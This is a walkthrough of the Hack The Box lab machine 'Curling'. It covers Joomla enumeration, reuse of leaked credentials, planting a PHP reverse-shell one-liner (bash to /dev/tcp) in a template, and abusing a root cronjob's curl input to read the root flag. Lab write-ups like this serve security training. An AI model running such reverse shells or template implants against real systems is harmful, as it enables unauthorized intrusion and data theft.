Curling is an easy Linux box that was released back in October 2018.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → nmap -F 10.10.10.150 --top-ports 65535 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-05 15:48 CET Nmap scan report for 10.10.10.150 Host is up (0.038s latency). Not shown: 8318 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → nmap -sC -sV -p22,80 10.10.10.150 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-05 15:51 CET Nmap scan report for 10.10.10.150 Host is up (0.039s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.41 seconds
Our nmap picked up the 80th port running a Joomla! webservice. We will run a dirsearch command in the background while we start to enumerate this port.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → dirsearch -u http://10.10.10.150/ -r -e php -t 50 -x 403
λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] → searchsploit Joomla! | wc -l 1421
Joomla! is a well known service with more than a thousand exploits available.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → dirsearch -u http://10.10.10.150/ No extension specified. You must specify at least one extension or try using default extension list. λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → dirsearch -u http://10.10.10.150/ -r -e php -t 50 -x 403 _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: php | HTTP method: get | Threads: 50 | Wordlist size: 6027 | Recursion level: 1 Error Log: /root/.dirsearch/logs/errors-19-12-05_15-52-05.log Target: http://10.10.10.150/ [15:52:05] Starting: [15:52:12] 301 - 320B - /administrator -> http://10.10.10.150/administrator/ [15:52:12] 200 - 5KB - /administrator/ [15:52:12] 301 - 325B - /administrator/logs -> http://10.10.10.150/administrator/logs/ [15:52:12] 200 - 5KB - /administrator/index.php [15:52:14] 301 - 310B - /bin -> http://10.10.10.150/bin/ [15:52:14] 200 - 31B - /bin/ [15:52:14] 301 - 312B - /cache -> http://10.10.10.150/cache/ [15:52:14] 200 - 31B - /cache/ [15:52:15] 301 - 317B - /components -> http://10.10.10.150/components/ [15:52:15] 200 - 0B - /configuration.php [15:52:18] 200 - 3KB - /htaccess.txt [15:52:18] 301 - 313B - /images -> http://10.10.10.150/images/ [15:52:18] 200 - 31B - /includes/ [15:52:18] 301 - 315B - /includes -> http://10.10.10.150/includes/ [15:52:18] 200 - 14KB - /index.php [15:52:19] 301 - 315B - /language -> http://10.10.10.150/language/ [15:52:19] 301 - 316B - /libraries -> http://10.10.10.150/libraries/ [15:52:19] 200 - 18KB - /LICENSE.txt [15:52:20] 301 - 312B - /media -> http://10.10.10.150/media/ [15:52:21] 301 - 314B - /modules -> http://10.10.10.150/modules/ [15:52:23] 301 - 314B - /plugins -> http://10.10.10.150/plugins/ [15:52:23] 200 - 5KB - /README.txt [15:52:26] 301 - 316B - /templates -> http://10.10.10.150/templates/ [15:52:26] 200 - 31B - /templates/ [15:52:26] 200 - 31B - /tmp/ [15:52:26] 301 - 310B - /tmp -> http://10.10.10.150/tmp/ [15:52:27] 200 - 2KB - /web.config.txt [15:52:28] Starting: administrator/ [15:52:35] 301 - 326B - /administrator/cache -> http://10.10.10.150/administrator/cache/ [15:52:35] 200 - 31B - /administrator/cache/ [15:52:36] 301 - 331B - /administrator/components -> http://10.10.10.150/administrator/components/ [15:52:39] 301 - 325B - /administrator/help -> http://10.10.10.150/administrator/help/ [15:52:39] 200 - 1KB - /administrator/help/ [15:52:40] 301 - 329B - /administrator/includes -> http://10.10.10.150/administrator/includes/ [15:52:40] 200 - 2KB - /administrator/includes/ [15:52:40] 200 - 5KB - /administrator/index.php [15:52:40] 200 - 5KB - /administrator/index.php/login/ [15:52:41] 301 - 329B - /administrator/language -> http://10.10.10.150/administrator/language/ [15:52:41] 301 - 325B - /administrator/logs -> http://10.10.10.150/administrator/logs/ [15:52:41] 200 - 31B - /administrator/logs/ [15:52:42] 301 - 328B - /administrator/modules -> http://10.10.10.150/administrator/modules/ [15:52:47] 301 - 330B - /administrator/templates -> http://10.10.10.150/administrator/templates/ [15:52:47] 200 - 1KB - /administrator/templates/ [15:52:49] Starting: bin/ [15:53:01] 200 - 31B - /bin/index.html [15:53:10] Starting: cache/ [15:53:23] 200 - 31B - /cache/index.html [15:53:31] Starting: components/ [15:53:44] 200 - 31B - /components/index.html [15:53:53] Starting: images/ [15:54:00] 301 - 321B - /images/banners -> http://10.10.10.150/images/banners/ [15:54:00] 200 - 2KB - /images/banners/ [15:54:05] 301 - 321B - /images/headers -> http://10.10.10.150/images/headers/ [15:54:05] 200 - 31B - /images/index.html [15:54:14] Starting: includes/ [15:54:27] 200 - 31B - /includes/index.html [15:54:36] Starting: language/ [15:54:48] 200 - 31B - /language/index.html [15:54:57] Starting: libraries/ [15:55:06] 301 - 320B - /libraries/cms -> http://10.10.10.150/libraries/cms/ [15:55:06] 200 - 1KB - /libraries/cms/ [15:55:10] 200 - 0B - /libraries/import.php [15:55:10] 200 - 31B - /libraries/index.html [15:55:10] 301 - 323B - /libraries/joomla -> http://10.10.10.150/libraries/joomla/ [15:55:17] 301 - 320B - /libraries/src -> http://10.10.10.150/libraries/src/ [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_namespaces.php [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_psr4.php [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_static.php [15:55:18] 200 - 0B - /libraries/vendor/composer/ClassLoader.php [15:55:18] 200 - 1KB - /libraries/vendor/composer/LICENSE [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_classmap.php [15:55:18] 200 - 0B - /libraries/vendor/autoload.php [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_real.php [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_files.php [15:55:19] 200 - 47KB - /libraries/vendor/composer/installed.json [15:55:19] Starting: media/ [15:55:28] 301 - 316B - /media/cms -> http://10.10.10.150/media/cms/ [15:55:28] 200 - 941B - /media/cms/ [15:55:28] 301 - 321B - /media/contacts -> http://10.10.10.150/media/contacts/ [15:55:32] 200 - 31B - /media/index.html [15:55:34] 301 - 318B - /media/media -> http://10.10.10.150/media/media/ [15:55:39] 301 - 319B - /media/system -> http://10.10.10.150/media/system/ [15:55:39] 200 - 1KB - /media/system/ [15:55:41] Starting: modules/ [15:55:53] 200 - 31B - /modules/index.html [15:56:03] Starting: plugins/ CTRL+C detected: Pausing threads, please wait...
λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] → curl -sk http://10.10.10.150/ | grep Floris <p>- Floris</p> λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] → curl -sk http://10.10.10.150/ | grep secret λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] → curl -sk http://10.10.10.150/secret.txt Q3VybGluZzIwMTgh
Looking at the sourcecode of the index page of the box, we see that the username Floris comes up. At the bottom of the index sourcecode we see a commented line "secret.txt" Browsing to this /secret.txt file we get seem to get a strong password which could be base64-encoded : Q3VybGluZzIwMTgh
λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] → curl -sk http://10.10.10.150/secret.txt | base64 -d Curling2018!
Seems like we were right ! We now have credentials to work with. Our dirsearch command found the /administrator webpage earlier, Browsing onto it we find the joomla! login page, onto which we will try our freshly-acquired credentials : Floris:Curling2018!
And we are logged in ! Now we navigate into Extensions > Templates > Options and set public and superuser permissions to allowed.
Once that's done we will save the options and navigate to the Beez3 template details in order to edit it's index php file.
Replace the entire php code with a reverse php shell one liner that will send back a reverse shell connection to our local machine (10.10.14.48) at the 9001 port.
<?php echo("ECH0 WAS HERE"); exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.48/9001 0>&1'");
We will use a terminal in order to recieve the incoming shell connection using the nc command with the -lvnp flags.
λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] → nc -lvnp 9001
We then click "preview template" which will run the infected index.php file and send us a reverse shell connection.
As you can see, the echo() statement is being executed, which displays our string. Naturally, it also execute the reverse shell one liner.
λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] → nc -lvnp 9001 Connection from 10.10.10.150:51798 bash: cannot set terminal process group (1319): Inappropriate ioctl for device bash: no job control in this shell www-data@curling:/var/www/html$ whoami whoami www-data www-data@curling:/var/www/html$ uname -a uname -a Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
And we are logged in as www-data ! now let's see if we can print out the user flag.
www-data@curling:/var/www/html$ cd /home/floris cd /home/floris www-data@curling:/home/floris$ cat user.txt cat user.txt cat: user.txt: Permission denied
It seems like we are not logged in with enough permissions. We will need to escalate privileges in order to gain the user access. Poking around the box from within our low-privileged shell, we find an interesting file named "password_backup"
www-data@curling:/home/floris$ ls ls admin-area password_backup user.txt www-data@curling:/home/floris$ file password_backup file password_backup password_backup: ASCII text www-data@curling:/home/floris$ cat password_backup cat password_backup 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H
We see that it is a hexdump file. We save it locally and decode it using the xxd command with the -r flag.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → nano password_backup λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → ls password_backup λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → cat password_backup | xxd -r BZh91AY&SY���H���A��P)ava�:4N���nT#�@%�` ��z�@�i�4hdi���9�h�Q�dh����4i�5n���Jh��*��}y.�<~�x�> �sVT�zH�ߢ�1�V��`F���"��n� ۇ7j:X�dR��k�� ���)p�7۫;���9��PC�Y�P �HB��* ��G� �U@r�rE8P����H#
That's weird, we seem to get a binary file once we decode the hexdump, we will save it as "BACKUP" and we'll run the file command to find out what it actually is.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → xxd -r password_backup > BACKUP λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → file BACKUP BACKUP: bzip2 compressed data, block size = 900k
We seem to get a bzip2 file ! let's give it it's proper extension and then try to decompress it with the bzip2 command along with it's -d flag.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → mv BACKUP BACKUP.bz2 λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → bzip2 -d BACKUP.bz2 λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → ls BACKUP password_backup λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → file BACKUP BACKUP: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
Now we seem to end up with a gzip file ! Let's give it it's proper extension and now try to decompress it with the gunzip command.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → mv BACKUP BACKUP.gz λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → gunzip BACKUP.gz λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → ls BACKUP password_backup λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → file BACKUP BACKUP: bzip2 compressed data, block size = 900k
Again a bzip2 file ! let's decompress it once again.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → mv BACKUP BACKUP.bz2 λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → bzip2 -d BACKUP.bz2 λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → ls BACKUP password_backup λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → file BACKUP BACKUP: POSIX tar archive (GNU)
Now it's a tar archive... to decompress it we will use the tar command with the -xvf flags.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → mv BACKUP BACKUP.tar λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → tar -xvf BACKUP.tar password.txt λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → cat password.txt 5d<wdCbdZu)|hChXll
And there we go ! we have a password to work with now. We will use it to login as the user floris through a ssh connection.
λ root [ 10.10.14.48/23 ] [ech0/_HTB/Curling] → ssh floris@10.10.10.150 The authenticity of host '10.10.10.150 (10.10.10.150)' can't be established. ECDSA key fingerprint is SHA256:o1Cqn+GlxiPRiKhany4ZMStLp3t9ePE9GjscsUsEjWM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.150' (ECDSA) to the list of known hosts. floris@10.10.10.150's password: Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Dec 6 10:26:56 UTC 2019 System load: 0.0 Processes: 169 Usage of /: 46.2% of 9.78GB Users logged in: 0 Memory usage: 21% IP address for ens33: 10.10.10.150 Swap usage: 0% 0 packages can be updated. 0 updates are security updates. Last login: Mon May 28 17:00:48 2018 from 192.168.1.71 floris@curling:~$ uname -a && whoami Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux floris floris@curling:~$ cat /home/floris/user.txt 65XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we are logged in ! We now have the necessary premissions to print out the user flag.
Onto the machine there is a cronjob running every minute that is executing something inside the admin-area folder.
floris@curling:~$ ls -l total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt floris@curling:~$ cd admin-area floris@curling:~/admin-area$ ls -l total 20 -rw-rw---- 1 root floris 25 Dec 6 10:34 input -rw-rw---- 1 root floris 14236 Dec 6 10:34 report
Within that folder we see that there are 2 files : input and report
floris@curling:~/admin-area$ cat input url = "http://127.0.0.1" floris@curling:~/admin-area$ cat output
It seems like the input file is the command, and report is the output of the command. Let's not do something too complicated, we'll just change the URL to the root flag's location.
floris@curling:~/admin-area$ echo 'url = file:///root/root.txt' > input
Wait exactly one minute and then print out the now-updated report file :
floris@curling:~/admin-area$ cat report 82XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the root flag.
Here we can see the progress graph :